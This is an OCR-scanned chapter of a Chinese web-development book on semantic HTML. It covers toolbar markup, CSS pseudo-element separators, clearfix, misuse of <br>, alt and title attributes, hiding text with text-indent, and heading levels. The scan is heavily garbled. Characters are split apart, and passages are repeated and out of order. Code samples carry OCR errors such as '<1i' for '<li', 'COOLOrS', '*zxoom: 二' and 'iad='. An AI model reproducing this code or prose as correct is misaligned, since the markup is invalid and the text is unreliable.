和 其 他 5 个 操作 项 具有 等 同 的 重要 性 。 试 想 一 下 ， 搜 索引 擎 识别 此 段 代码 时 ， 会 认为 工具 栏 中 包含 7 个 操作 项 ， 这 明显 偏离 了 实际 的 语义 ， 因 此 ， 此 方式 需要 进一步 改进 ， 可 去 掉 多 余 的 两 个 <li>, 使 
样式 来 实现 分 隔 符 的 效果 。 下 面 是 改进 后 的 代码 : 








了 语义 化 的 标签 <ul> ， 但 是 其 中 总 共有 5 个 操作 项 ， 而 此 方案 使 用 了 7 个 <li> 标 签 。 两 个 非 操作 项 的 分 隔 符 占用 了 两 个 <li> 标 签 。 单 纯 从 语义 上 看 ， 两 个 分 隔 符 











CSS 








<ul id="reader main action" class="reader-main-action"> 
<1i class="reader-action-library"></1i> 


<1i class=". 
<1i class=". 


<1i class="reader-action-bookmark"></1i> 
<1i class="reader-action-highlight"></1i> 


</ul> 


reader-action-toc spliter"></1i> 
reader-action-note spliter"></1i> 





上 面 代码 使 























CSSs 样 式 实现 了 分 隔 符 效果 。 以 下 是 使 























出 











:before 伪 类 实现 的 一 种 方式 ， 当 然 如 果 考虑 支持 IE 7 及 以 下 浏览 器 ， 也 可 以 使 用 设置 背景 图 的 方式 。 























.reader-main-action .spliter { 
margin-left: 30px; 


.reader-main-action .spliter:before { 


content: 


|; 


line-height: 28px; 
font-size: 20px; 


COOLOrS 


#888; 


cursor: default; 
text-indent: 0; 
float: left; 

margin: 0 -20px; 





栏 ， 具 体 每 个 操作 项 的 作 


第 三 种 方式 是 把 无 关内 容 的 元 素 彻底 从 HTML 中 分 离 出 来 ， 删 除 干 扰 语 义 的 标签 ， 是 不 是 完美 了 呢 ? 还 差 一 点 ,假设 ,搜索 引擎 解析 到 这 段 HTML 代 码 ， 从 语义 上 只 能 分 析出 这 是 有 5 个 操作 项 的 工具 
则 不 得 而 知 。 可 以 继续 添加 文字 说 明 来 进一步 完善 ， 修 改 后 的 代码 如 下 : 























<ul id="reader main action" class="reader-main-action"> 
<1i class="reader-action-library">library</1i> 


<1li class= 
li Cla 








eader-action-toc spliter">toc</1i> 
eader-action-note spliter">note</1i> 


<li class="reader-action-bookmark">bookmark</1i> 
<1i class="reader-action-highlight">highlight</1i> 


</ul> 





上 面 给 每 个 操作 项 添加 了 名 称 ， 现 在 语义 


清晰 了 ， 搜 索引 擎 和 第 三 方 阅读 工具 可 以 识别 元 素 中 的 文字 来 理解 各 操作 项 的 作用 。 


























由 于 操作 项 在 界面 上 显示 的 是 图 标 按钮 ， 因 此 需要 把 文字 隐藏 掉 。 如 下 的 CSS 样 式 可 以 实现 文字 的 隐藏 : 

















.reader-main-action 1i { 
text-indent: -~9999px; 


} 





在 第 四 种 方式 中 ， 添 加 了 一 些 隐藏 的 
CSS 样 式 后 ， 此 方案 的 显示 效果 如 图 4-2 所 示 。 
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S| 























文字 ， 这 些 看 似 多 余 的 代码 ， 却 是 很 有 必要 的 。 按 照 之 前 提 到 的 验证 HTML 代 码 语义 性 的 方法 ， 去 掉 所 有 的 CSS 样 式 ， 只 有 此 方案 能 在 界面 上 正常 显示 5 个 操作 项 。 


® library 


® toOCc 

ote 
© bookmar 
® hichlight 





图 4-2 CSS 禁 用时，HTML 代 码 对 应 的 显示 效果 




















以 上 的 例子 基本 可 以 解释 高 语义 的 HTML 代 码 所 应 该 具有 的 特点 ， 但 要 编写 高 语义 的 HTML 代 码 ， 则 需要 有 足够 的 耐心 和 良好 的 编码 意识 ， 对 此 就 需要 在 实际 的 项 目 中 不 断 地 实践 了 。 当 然 ， 编 写 高 语义 
的 HTML 代 码 也 是 有 一 些 最 佳 实践 可 以 参考 的 ， 下 面 所 列 的 是 最 主要 的 4 条 原则 。 


























(1) 熟悉 所 有 规范 中 的 HTML 标 签 ， 理 解 各 标签 的 语义 ， 在 合适 的 地 方 使 用 合适 的 标签 









































如 果 不 考虑 HTML 的 语义 ， 使 用 <div> 和 <span> 就 足够 构建 页 面 上 大 部 分 的 布局 ， 但 是 这 两 个 标签 是 没有 任何 语义 的 标签 ， 不 建议 使 用 。HTML 语 义 化 首先 要 从 HTML 标 签 语 义 化 入 手 ，HTML 标 签 是 
页 面 内 容 的 载体 ， 语 义 化 的 标签 相当 于 是 对 所 包含 内 容 的 一 个 整体 声明 ， 也 使 得 页 面 整 体 结构 清晰 。 网 页 的 开发 者 应 该 熟悉 所 有 规范 的 HTML 标 签 的 使 用 场景 ， 在 合适 的 地 方 使 用 合适 的 标签 。 例 如 ， 标 签 
<hx> 系 列 则 代表 的 是 标题 ， 在 网 页 中 展示 各 层级 的 标题 时 使 用 ，<ul> 和 <ol> 表 示 列 表 ， 在 展现 各 种 数据 列表 或 者 菜单 时 使 用 ;其 他 使 用 率 较 高 的 语义 标签 有 : <p>、<em>、<strong>、<table>、 
<Site>、<blockquote> 等 ， 此 外 ， 还 有 一 些 HTML5 新 加 入 的 标签 ， 包 括 : <header>、<footer>、<article>、<section>、<nav>、<aside> 等 。W35C 规 范 中 针对 所 有 标签 都 有 详细 的 解释 和 使 用 场景 
示例 ， 前 端 开发 者 应 该 熟练 掌握 这 些 最 基本 的 标签 使 用 场景 。 














































































































































































































(2) 熟悉 各 标签 上 规范 的 属性 ， 给 HTML 标 签 设置 必要 的 属性 


























和 标签 语义 化 的 重要 性 一 样 ， 某 些 属性 的 设置 也 是 HTML 语 义 化 的 重要 环节 。 在 很 多 前 端 编码 规范 中 都 会 提 到 的 两 个 属性 是 alt 和 title。 这 两 个 属性 的 设置 同样 也 是 为 了 提高 HTML 的 语义 。 在 <img> 标 
签 中 ，alt 是 必须 要 设置 的 属性 ， 因 为 <img> 是 自 闭合 标签 ， 并 没有 包含 可 以 解释 说 明 图 片 的 额外 信息 。title 属 性 是 可 选 属性 ， 当 标签 包含 的 内 容 不 足以 说 明 语 义 时 ， 可 以 通过 title 添 加 额外 的 信息 。 如 下 示 

























































































例 展示 了 这 两 个 





属性 的 使 





情况 : 











<!-alt 属 性 除了 对 
<img src="/img/loading.gif" 
<!-title 属 性 是 对 
<a href="" title=""></a> 











还 有 一 个 重要 的 
<label> 标 签 的 作用 。 


(3) 样式 和 结构 分 离 





ED 





H 





提 到 的 样式 和 结构 分 离 ， 主 


图 片 做 解释 说 明之 外 ， 也 作为 图 


片 在 浏览 器 中 未 加 载 时 显示 的 代替 文字 --> 


alt="data loadi 


属性 是 <label> 标 签 中 的 for 


I 
元 素 的 解释 说 明 ， 并 且 作为 在 浏览 器 中 当 鼠 标 移 到 元 素 上 时 显示 的 提示 文本 --> 

















说 的 是 











让 语义 更 加 明确 。 如 下 是 上 面 的 示例 





中 








<ul id="reader main action" class="reader-main-action"> 


</ul> 


从 实际 需求 分 析 ， 分 隔 符 并 不 是 网 页 内 容 的 一 部 分 


示 的 代码 。 


CSs 中 的 两 个 伪 类 :before 和 :after 很 适合 在 这 样 的 场景 中 使 


该 很 多 人 写 过 类 似 如 下 清除 浮动 的 代 和 


<div id="main"> 


3: 


<1li class="reader-action-spliter">|</1i> 








吕 
+ 八 E| 











于 内 容 的 分 割 ， 



































<div class="sidebar">this is the side bar.</div> 
<div class="content">this is the main content.</div> 


<div class="clear"></div> 
</div> 


对 应 的 CSS 样 式 为 : 


.Sidebar { float: left; width:150px; 


} 


.container { float:right; width:450px;} 


.Clear { clear:both; } 











为 了 清除 元 素 的 浮动 ， 上 











纯 的 CSS 样 式 代码 和 HTML 代 码 的 分 离 。 这 里 会 更 进一步 ， 把 HTML 代 码 中 用 于 表达 外 观 的 部 分 从 HTML 中 删除 ， 并 改 
展示 分 隔 符 的 HTML 代 和 码 : 





因此 ， 应 该 从 HTML 代 码 中 分 离 ， 然 后 使 














， 即 在 元 素 的 开始 或 者 结尾 处 添加 修饰 性 的 文字 或 外 观 ， 实 现 内 容 添加 的 








该 删除 这 个 多 余 的 <div> 元 素 ， 并 改 用 CSS 样 式 来 实现 ， 代 码 如 下 : 


<div id="main clearfix"> 


<div class="sidebar">this is the side bar.</div> 


</div> 


对 应 的 CSS 类 clearfix 的 声明 为 : 


.Clearfix { 
*zoom: 1; 

} 

.Clearfix:before, 

.Clearfix:after { 
display: table; 
Content: ""; 


.Clearfix:after { 
clear: both; 
} 





上 
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的 示例 使 























了 :before 和 :after 伪 类 ， 很 好 地 解决 了 








3 外 一 个 小 














<div> 
<span>title</span><br><br> 
<span>iteml</span><br> 
<span>item2</span><br> 
<span>item3</span><br> 
</div> 


这 算是 很 初级 的 错误 了 ， 完 全 没有 理解 <br> 标 签 的 语义 。 





如 下 是 从 W3C 网 站 上 引 














的 示例 : 





的 标签 就 是 换行 符 标签 <br>。 很 多 新 手 经 常会 使 F 


<div class="content">this is the main content.</div> 














于 多 余 











的 元 素 而 破坏 HTML 代 码 语义 的 问题 。 











CSS 样 式 实现 相 


吾 











可 























此 标签 来 让 元 素 换行 显示 ， 甚 


会 连续 使 

















<br> 标 签 仅仅 














于 文本 内 容 中 的 换行 。 


<p>P. Sherman<br>42 Wallaby Way<br>Sydney</p> 


如 果 要 实现 元 素 之 间 的 换行 或 者 增加 行 间距 ， 可 以 通过 设置 display、margin 或 者 padding 等 样式 来 实现 。 





3 外 ， 在 构建 页 面 的 时 候 ， 经 常会 











H 











添加 








片 ,但 是 











片 是 以 <img> 元 素 存 在 ， 还 是 以 背景 医 





























的 角度 考虑 ， 很 容易 决定 应 该 使 














<img> 元 素 还 是 背景 医 














。 原 则 是 这 样 的 : 如 果 图 片 是 作为 页 面 


























(4) 给 空 标签 中 添加 隐藏 文字 ， 














在 页 画 


设计 过 程 中 ， 为 了 效果 美观 ， 有 时 会 把 原来 该 


于 说 明 标 签 的 实际 功能 





























空 标签 添加 





文字 表达 的 效果 替换 为 




















以 上 
语义 。 


一 定 的 说 明文 字 ， 并 让 文字 隐藏 起 来 ， 这 样 既 提 





容 的 一 部 分 ， 则 应 该 使 用 <img> 元 素 ， 如 果 医 


方式 存在 ?很 多 时 候 ， 我 们 并 没有 仔细 考虑 这 样 的 问题 ， 因 此 实现 


属性 。<label> 元 素 是 给 <input> 元 素 定义 的 标注 ， 也 从 语义 上 绑 定 了 <label> 元 素 和 此 表单 元 素 。 在 4.3 节 有 关 编 写 高 语义 化 的 表 和 





代码 中 将 详细 介绍 




















时 并 没有 破坏 HTML 代 码 的 语 


CSSs 样 式 实现 。 简 洁 的 HTML 代 码 会 








的 效果 ， 本 例 中 CSS 样 式 的 实现 可 参照 上 面 示例 中 第 三 种 方式 

















多 个 <br> 元 素来 加 大 元 素 之 间 的 行距 ， 示 例如 下 。 





的 方式 也 很 随意 。 


义 。 这 里 











展示 一 个 常 F 











的 场景 ， 应 


面 代码 添加 了 一 个 <div> 元 素 ， 并 给 此 <div> 元 素 添加 了 clear 样 式 。 可 能 很 多 人 觉得 这 是 一 个 常规 的 做 法 ， 但 是 这 种 写法 破坏 了 HTML 代 码 的 语义 ， 并 不 是 一 种 好 的 方案 ， 应 











实 ， 从 HTML 语 义 























片 仅仅 是 起 装饰 作 

















ak 





片 ， 但 这 样 的 做 法 会 降低 代码 的 语义 ， 代 码 的 维护 者 也 会 对 这 类 标签 的 实际 功能 感到 迷惑 


， 则 应 该 使 











到 方式 。 














代码 整体 角度 考虑 了 如 何 提高 HTML 的 语义 ， 但 HTML 中 各 个 标签 的 语义 都 不 相同 ， 每 个 标签 都 有 : 


提高 了 代码 的 语义 ， 又 满足 了 设计 上 的 需求 。 一 般 可 通过 设置 text-indent 来 达到 隐藏 文字 的 











目 





其 独特 的 使 


的 。 


。 为 了 解决 这 一 问题 ， 建 议 给 


























场景 ， 














接 下 来 会 着 重 讨论 常 F 














的 几 类 标签 的 正确 使 有 











方式 ,上 











提高 HTML 代 码 的 





第 4 章 高 可 读 性 的 HTML 


4.1 HTML 语 义 化 




















什么 是 HTML 的 语义 ? 直观 地 说 ， 就 是 HTML 的 含义 ， 从 HTML 代 码 中 使 用 的 标签 本 身 就 可 以 说 明 标签 包含 内 容 的 含义 ， 比 如 使 用 <H1> 标 签 ， 则 指 代 包 含 的 内 容 是 标题 。HTML 标 签 语义 化 是 Web 网 页 


标准 化 的 重要 一 环 ， 也 是 标准 制定 时 重要 的 设计 原则 。HTML5 中 新 增加 的 很 多 标签 (如 <article>、<nav>、<header> 和 <footer> 等 ) 都 是 基 寺 
取 工 具 等 更 容易 读 慌 页面 代码 。 机 器 不 会 关注 页 面 实际 泻 染 的 外 观 ， 只 会 关注 页 面 内 容 本 身 ， 页 面 泻 染 的 美观 与 否 对 机 器 识别 毫 无 帮助 。 标 签 语义 化 也 提高 了 页 面 代 
码 的 可 读 性 ， 可 利于 代码 阅读 者 理解 代码 对 应 的 模块 。 那 么 具体 什么 样 的 页 面 才 是 高 语义 化 的 页 面 呢 ? 浏览 器 会 对 语义 化 的 标签 设计 默认 的 样式 ， 
可 正常 阅读 。 从 代码 角度 来 说 ， 高 语义 化 的 页 面 就 是 在 页 面 代 码 中 尽量 使 














化 使 得 诸如 搜索 引 警 以 及 第 三 方 内 容 






































掉 CSS 样 式 后 页 面 仍 能 保持 良好 的 外 观 ， 并 





























下 面 使 





一 个 例子 来 说 明 如 何 构建 一 个 语义 化 的 页 面 。 假 设 要 实现 如 图 4-1 所 示 的 工具 栏 。 


I 


如 果 仅 仅 是 实现 这 样 的 外 观 ， 使 




















图 4-1 














下 面 的 HTML 代 码 再 加 上 合适 的 CSS 样 式 就 可 以 达到 要 求 。 















































合适 的 语义 化 标签 。 


网 页 工具 栏 效 果 图 


F 此 类 设计 原则 。 页 面 标签 语义 化 的 优点 很 明显 ， 标 签 语义 





因此 ， 从 页 面 展 示 的 外 观 上 来 说 ， 高 语义 化 的 页 面 就 是 去 





<div id="reader main action" class="reader-main-action"> 
<span class="reader-action-library"></span> 
<span class="reader-action-spliter">|</span> 
<span class="reader-action-toc "></span> 
<span class="reader-action-spliter">|</span> 
<span class="reader-action-note"></span> 
<span class="reader-action-bookmark"></span> 
<span class="reader-action-highlight"></span> 
</div> 


上 面 的 实现 方式 是 一 种 常见 的 实现 方式 ， 但 从 标签 语义 的 角度 来 看 ， 不 推荐 此 实现 方式 。 代 码 中 所 使 





和 <span> 这 两 个 标签 ， 在 使 用 这 两 个 标签 时 尽量 能 找到 更 有 语义 的 标签 来 代 蔡 。 























再 来 看 看 第 二 种 实现 方式 。 从 需求 来 看 ， 这 是 一 个 包含 5 个 无 序 操作 项 的 工具 栏 ， 





因此 ， 应 该 使 
































尽量 少 使 








的 <div> 和 <span> 标 签 是 最 没有 语义 的 两 个 标签 。 要 做 到 标签 语义 化 ， 首 先 





























符合 语义 的 <ul> 标 签 ， 代 码 如 下 : 


<div> 





<ul id="reader main action" class="reader-main-action"> 
<1i class="reader-action-library"></1i> 

eader-action-spliter">|</1i> 

eader-action-toc"></1i> 

<1i class="reader-action-spliter">|</1i> 

<11 class="reader-action-note"></1i> 

<1i class="reader-action-bookmark"></1i> 






<1i class="reader-action-highlight"></1i> 
</ul> 











第 二 种 方式 比 第 一 种 方式 有 所 改进 ， 使 
和 其 他 5 个 操作 项 具有 等 同 的 重 
样式 来 实现 分 隔 符 的 效果 。 下 面 是 改进 后 的 代码 : 





























<ul id="reader main action" class="reader-main-action"> 
<1i class="reader-action-library"></1i> 
<1i class="reader-action-toc spliter"></1li> 
<1i class="reader-action-note spliter"></1i> 
<1i class="reader-action-bookmark"></1i> 
<1i class="reader-action-highlight"></1i> 
</ul> 




















上 面 代 码 使 














CSS 样 式 实现 了 分 隔 符 效果 。 以 下 是 使 











了 语义 化 的 标签 <ul> ， 但 是 其 中 总 共有 5 个 操作 项 ， 而 此 方案 使 
性 。 试 想 一 下 ， 搜 索引 擎 识别 此 段 代 码 时 ， 会 认为 工具 栏 中 包含 7 个 操作 项 ， 这 明显 偏离 了 实际 的 语义 ， 


:before 伪 类 实现 的 一 种 方式 ， 当 然 如 果 考 虑 支持 IE 7 及 以 下 浏览 器 ， 














了 7 个 <li> 标 签 。 两 个 非 操作 项 的 分 隔 符 占 上 
因此 ， 此 方式 需要 进一步 改进 ， 可 去 掉 多 余 的 两 个 <li>, 使 



































也 可 以 使 用 设置 背景 





出 


的 方式 。 


























了 两 个 <li> 标 签 。 单 纯 从 语义 上 看 ， 两 个 分 隔 符 











CSS 








.reader-main-action .spliter { 
margin-left: 30px; 


.reader-main-action .spliter:before { 

content: '|'; 

line-height: 28px; 

font-size: 20px; 

Color: #888; 

Cursor: default; 

text-indent: 0; 

float: left; 

margin: 0 -20px; 





第 三 种 方式 是 把 无 关内 容 的 元 素 彻 底 从 HTML 中 分 离 出 来 ， 删 除 干扰 语义 的 标签 ， 是 不 是 完美 了 呢 ? 还 差 一 点 ,假设 ， 

















具体 每 个 操作 项 的 作用 则 不 得 而 知 。 可 以 继续 添加 文字 说 明 来 进一步 完善 ， 修 改 后 的 代码 如 下 : 


<ul id="reader main action" class="reader-main-action"> 
<1i class="reader-action-library">library</1i> 
<1i class="reader-action-toc spliter">toc</1i> 
<li class="reader-action-note spliter">note</1i> 
<li class="reader-action-bookmark">bookmark</1i> 
<1i class="reader-action-highlight">highlight</1i> 
</ul> 


搜索 引擎 解析 到 这 段 HTML 代 码 ， 从 语义 上 只 能 分 析出 这 是 有 5 个 操作 项 的 工具 























上 面 给 每 个 操作 项 添加 了 名 称 ， 现 在 语义 清晰 了 ， 搜 索引 擎 和 第 三 方 阅读 工具 可 以 识别 元 素 中 的 文字 来 理解 各 操作 项 的 作用 。 

















由 于 操作 项 在 界面 上 显示 的 是 图 标 按钮 ， 需要 把 文字 隐藏 掉 。 如 下 的 CSS 样 式 可 以 实现 文字 的 隐藏 : 























.reader-main-action 1i { 
text-indent: -9999px; 
} 





在 第 四 种 方式 中 ， 添 加 了 一 些 隐藏 的 文字 ， 这 些 看 似 多 余 的 代码 ， 却 是 很 有 必要 的 。 按 照 之 前 提 到 的 验证 HTML 代 码 语义 性 的 方法 ， 去 掉 所 有 的 CSS 样 式 ， 只 有 此 方案 能 在 界面 上 正常 显示 5 个 操作 项 。 
在 禁用 CSSs 样 式 后 ， 此 方案 的 显示 效果 如 图 4-2 所 示 。 









































e hlichllicht 





图 4-2 CSS 禁 用时，HTML 代 码 对 应 的 显示 效果 























以 上 的 例子 基本 可 以 解释 高 语义 的 HTML 代 码 所 应 该 具有 的 特点 ， 但 要 编写 高 语义 的 HTML 代 码 ， 则 需要 有 足够 的 耐心 和 良好 的 编码 意识 ， 对 此 就 需要 在 实际 的 项 目 中 不 断 地 实践 了 。 当 然 ， 编 写 高 语义 
的 HTML 代 码 也 是 有 一 些 最 佳 实践 可 以 参考 的 ， 下 面 所 列 的 是 最 主要 的 4 条 原则 。 


























(1) 熟悉 所 有 规范 中 的 HTML 标 签 ， 理 解 各 标签 的 语义 ， 在 合适 的 地 方 使 用 合适 的 标签 


























如 果 不 考虑 HTML 的 语义 ， 使 用 <div> 和 <span> 就 足够 构建 页 面 上 大 部 分 的 布 































































































<hx> 系 列 则 代表 的 是 标题 ， 在 网 页 中 展示 各 层级 的 标题 时 使 用 ，<ul> 和 <ol> 表 示 列 表 ， 在 展现 各 种 数据 列表 或 者 菜单 时 使 用 ;其 他 使 用 率 较 高 的 语义 标签 有 : <p> 








局 ， 但 是 这 两 个 标签 是 没有 任何 语义 的 标签 ， 不 建议 使 用 。HTML 语 义 化 首先 要 从 HTML 标 签 语义 化 入 手 ，HTML 标 签 是 
页 面 内 容 的 载体 ， 语 义 化 的 标签 相当 于 是 对 所 包含 内 容 的 一 个 整体 声明 ， 也 使 得 页 面 整 体 结 构 清晰 。 网 页 的 开发 者 应 该 熟悉 所 有 规范 的 HTML 标 签 的 使 用 场景 ， 在 合适 的 地 方 使 














合适 的 标签 。 例 如 ， 标 签 





























<site>、<blockquote> 等 ， 此 外 ， 还 有 一 些 HTML5 新 加 入 的 标签 ， 包括 : <header>、<footer>、<article>、<section>、<nav>、<aside> 等 。W3C 规 范 中 针对 所 有 标签 都 有 详细 的 解释 和 使 用 场景 











示例 ， 前 端 开 发 者 应 该 熟练 掌握 这 些 最 基本 的 标签 使 用 场景。 
































(2) 熟悉 各 标签 上 规范 的 属性 ， 给 HTML 标 签 设置 必要 的 属性 



































、<em>、<strong>、<table>、 


























和 标签 语义 化 的 重要 性 一 样 ， 某 些 属性 的 设置 也 是 HTML 语 义 化 的 重要 环节 。 在 很 多 前 端 编码 规范 中 都 会 提 到 的 两 个 属性 是 alt 和 title。 这 两 个 属性 的 设置 同样 也 是 为 了 提高 HTML 的 语义 。 在 <img> 标 









































签 中 ，alt 是 必须 要 设置 的 属性 ， 因 为 <img> 是 自 闭合 标签 ， 并 没有 包含 可 以 解释 说 明 医 
例 展示 了 这 两 个 属性 的 使 用 情况 : 





















































<!-alt 属 性 除了 对 图 片 做 解释 说 明之 外 ， 也 作为 图 片 在 浏览 器 中 未 加 载 时 显示 的 代替 文字 --> 
<img src="/img/loading.gif" alt="data loading.." /> 

<!-title 属 性 是 对 元 素 的 解释 说 明 ， 并 且 作为 在 浏览 器 中 当 鼠 标 移 到 元 素 上 时 显示 的 提示 文本 --> 
<a href="" title=""></a> 


























还 有 一 个 重要 的 属性 是 <label> 标 签 中 的 for, 
<label> 标 签 的 作用 。 


(3) 样式 和 结构 分 离 














前 面 提 到 的 样式 和 结构 分 离 ，3 
让 语义 更 加 明确 。 如 下 是 上 面 的 示例 中 展示 分 隔 符 的 HTML 代 码 : 
































<ul iad="reader main action" class-="reader-main-action"> 
<1li class="reader-action-spliter">|</1i> 
</ul> 


























从 实际 需求 分 析 ， 分 隔 符 并 不 是 网 页 内 容 的 一 部 分 ， 只 是 用 于 内 容 的 分 割 ， 因 此 ， 应 该 从 HTML 代 码 中 分 离 ， 然 后 使 用 CSS 样 式 实现 相同 的 效果 ， 本 例 中 CSSs 样 式 的 实现 可 参照 上 面 示例 中 第 三 种 方式 














示 的 代码 。 
































CSs 中 的 两 个 伪 类 :before 和 :after 很 适合 在 这 样 的 场景 中 使 用 ， 即 在 元 素 的 开始 或 者 结尾 处 添加 修饰 性 的 文字 或 外 观 ， 实 现 内 容 添加 的 
该 很 多 人 写 过 类 似 如 下 清除 浮动 的 代码 : 











<div igd="main"> 
<div class="sidebar">this is the side bar.</div> 


<div class="content">this is the main content.</div> 
<div class="clear"></div> 


</div> 
对 应 的 CSS 样 式 为 : 


.Sidebar { float: left; width:150px; } 
.container { float:right; width:450px;} 
.Clear { clear:both; } 











为 了 清除 元 素 的 浮动 ， 上 
该 删除 这 个 多 余 的 <div> 元 素 ， 并 改 用 CSS 样 式 来 实现 ， 代 码 如 下 : 











<div id="main clearfix"> 
<div class="sidebar">this is the side bar.</div> 


<div class="content">this is the main content.</div> 
</div> 


对 应 的 CSS 类 clearfix 的 声明 为 : 


.Clearfix { 
*zxoom: 二 

} 

.Clearfix:before, 

.Clearfix:after { 
display: table; 
Content: ""; 

} 

.Clearfix:after { 
Clear: both; 


} 



































上 面 的 示例 使 用 了 :before 和 :after 伪 类 ， 很 好 地 解决 了 由 于 多 余 的 元 素 而 破坏 HTML 代 码 语义 的 问题 。 

































































属性 。<label> 元 素 是 给 <input> 元 素 定义 的 标注 ， 也 从 语义 上 绑 定 了 <label> 元 素 和 此 表单 元 素 。 在 4.3 节 有 关 编 写 高 语义 化 的 表 和 


要 说 的 是 单纯 的 CSs 样 式 代 码 和 HTML 代 码 的 分 离 。 这 里 会 更 进一步 ， 把 HTML 代 码 中 用 于 表达 外 观 的 部 分 从 HTML 中 删除 ， 并 改 





图 片 的 额外 信息 。title 属 性 是 可 选 属性 ， 当 标签 包含 的 内 容 不 足以 说 明 语义 时 ， 可 以 通过 title 添 加 额外 的 信息 。 如 下 示 


代码 中 将 详细 介绍 




















CSSs 样 式 实现 。 简 洁 的 HTML 代 码 会 
































3 外 一 个 滥用 的 标签 就 是 换行 符 标签 <br> 。 很 多 新 手 经 常会 使 用 此 标签 来 让 元 素 换行 显示 ， 甚 至 会 连续 使 用 多 个 < br> 元 素来 加 大 元 素 之 间 的 行距 ， 示 例如 下 。 











<div> 
<span>title</span><br><br> 
<span>iteml</span><br> 
<span>item2</span><br> 
<span>item3</span><br> 
</div> 





这 算是 很 初级 的 错误 了 ， 完 全 没有 理解 <br> 标 签 的 语义 。<br> 标 签 仅仅 用 于 文本 内 容 中 的 换行 。 


























如 下 是 从 W3C 网 站 上 引用 的 示例 : 











<p>P. Sherman<br>42 Wallaby Way<br>Sydney</p> 


如 果 要 实现 元 素 之 间 的 换行 或 者 增加 行 间距 ， 可 以 通过 设置 display、margin 或 者 padding 等 样式 来 实现 。 









































外 ， 在 构建 页 面 的 时 候 ， 经 常会 要 添加 图 片 ， 但 是 图 片 是 以 <img> 元 素 存在 ， 还 是 以 背景 图 方式 存在 ”很 多 时 候 ， 我 们 并 没有 仔细 考虑 这 样 的 问题 ， 因 




















此 实现 的 方式 也 很 随意 。 














同时 并 没有 破坏 HTML 代 码 的 语义 。 这 里 展示 一 个 常用 的 场景 ， 应 








面 代码 添加 了 一 个 <div> 元 素 ， 并 给 此 <div> 元 素 添加 了 clear 样 式 。 可 能 很 多 人 觉得 这 是 一 个 常规 的 做 法 ， 但 是 这 种 写法 破坏 了 HTML 代 码 的 语义 ， 并 不 是 一 种 好 的 方案 ， 应 





实 ， 从 HTML 语 义 


的 角度 考虑 ， 很 容易 决定 应 该 使 






































<img> 元 素 还 是 背景 图 


Tr 


5 











。 原 则 是 这 样 的 : 如 果 莫 








片 是 作为 页 面 











内 容 的 一 部 分 ， 则 应 该 使 用 <img> 元 素 ， 如 果 图 片 仅仅 是 起 装饰 作 














， 则 应 该 使 有 


























(4) 给 空 标签 中 添加 隐藏 文字 ， 














于 说 明 标 签 的 实际 功能 
























































































































































在 页 面 设计 过 程 中 ， 为 了 效果 美观 ， 有 时 会 把 原来 该 用 文字 表达 的 效果 蔡 换 为 图 片 ， 但 这 样 的 做 法 会 降低 代码 的 语义 ， 代 码 的 维护 者 也 会 对 这 类 标签 的 实际 功能 感到 迷惑 。 为 了 解决 这 一 问题 ， 建 议 给 
空 标签 添加 一 定 的 说 明文 字 ， 并 让 文字 隐藏 起 来 ， 这 样 既 提高 了 代码 的 语义 ， 又 满足 了 设计 上 的 需求 。 一 般 可 通过 设置 text-indent 来 达到 隐藏 文字 的 目的 。 

以 上 从 代码 整体 角度 考虑 了 如 何 提高 HTML 的 语义 ， 但 HTML 中 各 个 标签 的 语义 都 不 相同 ， 每 个 标签 都 有 其 独特 的 使 用 场景 ， 接 下 来 会 着 重 讨论 常用 的 几 类 标签 的 正确 使 用 方式 ， 用 于 提高 HTML 代 码 的 
语义 。 
4.2 ”如 何 设置 网 页 标题 层级 

几乎 每 个 网 页 都 会 设置 标题 ， 一 般 页 面 上 的 标题 会 使 用 大 字体 和 粗 体 ， 有 时 会 使 用 鲜艳 的 颜色 ， 以 便 和 正文 内 容 有 所 区 别 。 醒 目的 标题 可 以 让 页 面 浏览 器 很 快 地 了 解 页 面 的 主要 内 容 ， 对 页 面 的 亲和力 


的 提高 有 很 大 的 作用 。 


签 <hgroup>，<hgroup> 的 具体 
























































标题 标签 指 的 是 <h1> ~ <h6> 这 6 个 标签 ， 统 称 为 <hx> 标 签 。<hx> 标 签 也 是 语义 化 标签 ，h 取 的 是 header 的 首 字母 ，<h1> 到 <h6> 按 照 标题 的 重要 性 逐次 递 碱 。 此 外 ，HTML5 中 新 添加 了 一 个 标题 标 





<hx> 标 签 在 页 面 






































法 可 参考 W3C 制 定 的 HTML5 规 范 [1]。 








HTML 语 义 化 中 占有 有 


要 的 








也 位 。 语 义 化 的 标签 会 吸引 搜索 引擎 的 注意 ， 相 比较 其 他 语义 化 的 标签 ，<hx> 标 签 会 受到 搜索 引擎 的 “特别 照顾 ”， 搜 索引 警 会 给 <hx> 中 的 内 容 设置 更 








高 
页 


搜索 引擎 优化 ， 大 痢 





的 权重 。 








<hx> 标 签 的 使 


也 提高 了 页 面 

















的 可 有 














性 ， 很 多 阅读 器 及 其 他 辅助 设备 会 把 页 面 中 的 <hx> 标 签 作为 一 个 跳 转 标记 ， 或 者 会 依据 <hx> 标 签 生成 页 面 内 容 大 纲 。 因 此 ， 构 建 合 适 的 页 面 标题 结构 是 

















(1) 在 页 面 内 容 的 标题 部 分 使 





按照 HTML 标 签 语义 化 的 原则 ， 在 页 殖 


面 HTML 语 义 化 的 一 个 重要 环节 ， 在 页 画 























设计 时 也 需要 重点 考虑 。 








以 下 是 页 面 构建 标题 结构 的 一 些 最 佳 实践 。 






































<hx> 标 签 


内 容 标题 的 部 分 应 该 使 


























<hx> 系 列 标签 ， 但 实际 的 项 目 中 存在 很 多 不 规范 写法 ， 如 下 是 一 种 常见 的 不 规范 写法 : 





<div class="reader-title"> Holman Christian Standard Bible </div> 





根据 实际 的 语义 来 看 ， 此 处 是 页 





面 内 容 的 顶级 标题 ， 正 确 的 写法 应 该 是 : 


<hl1 class="reader-title">Holman Christian Standard Bible</h1> 


除了 人 为 的 因素 之 外 ，HTML 编 辑 器 也 是 导致 页 
码 中 标题 设置 不 合理 ， 则 应 该 停止 使 











(2) 页 面 中 只 使 























标题 设 






































一 个 <h1> 标 签 








<h1> 表 示 页 殖 











内 容 最 高 


分 搜索 引 


此 HTML 编 辑 器 ， 改 


混乱 的 “元 凶 ” 之 一 。 早 期 的 编辑 器 并 不 重视 HTML 的 规范 ， 当 然 也 不 会 考虑 页 面 
较 高 级 的 编辑 器 。 


HTML 语 义 的 问题 。 如 果 发 现 使 用 的 编辑 器 生成 的 HTML 代 



































层级 的 标题 ， 为 了 避免 不 必要 的 混淆 ， 每 个 页 画 








只 能 有 一 个 <h1> 标 签 。 尽 管 W3C 规 范 中 没有 规定 页 画 























